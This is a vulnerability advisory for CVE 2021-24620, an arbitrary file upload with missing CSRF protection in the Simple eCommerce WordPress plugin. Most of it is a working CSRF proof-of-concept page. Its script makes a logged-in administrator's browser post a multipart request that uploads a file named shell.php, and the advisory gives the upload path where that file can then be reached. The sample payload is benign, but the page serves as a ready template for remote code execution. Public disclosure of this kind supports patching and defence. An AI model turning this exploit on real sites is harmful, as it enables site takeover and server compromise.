Simple eCommerce <= 3.1.2 – Arbitrary File Upload | CVE 2021-24620

Description

The plugin does not check for the uploaded Downloadable Digital product file, allowing any file, such as PHP to be uploaded by an administrator. Furthermore, as there is no CSRF in place, attackers could also make a logged admin upload a malicious PHP file, which would lead to RCE

Proof of Concept

https://www.youtube.com/watch?v=KvXqTGvq4xQ

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/example.com\/wp-admin\/admin.php?page=simpleecommcart-products", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14024174919792965573802180262");
        xhr.withCredentials = true;
        var body = "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"simpleecommcart-action\"\r\n" + 
          "\r\n" + 
          "save product\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"product[name]\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"product[price]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"product[upload]\"; filename=\"shell.php\"\r\n" +
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php echo \'FAILED\'; ?\x3e\n" + 
          "\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------14024174919792965573802180262--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

File will be uploaded in: /wp-content/uploads/simpleecommcart/digitalproduct/shell.php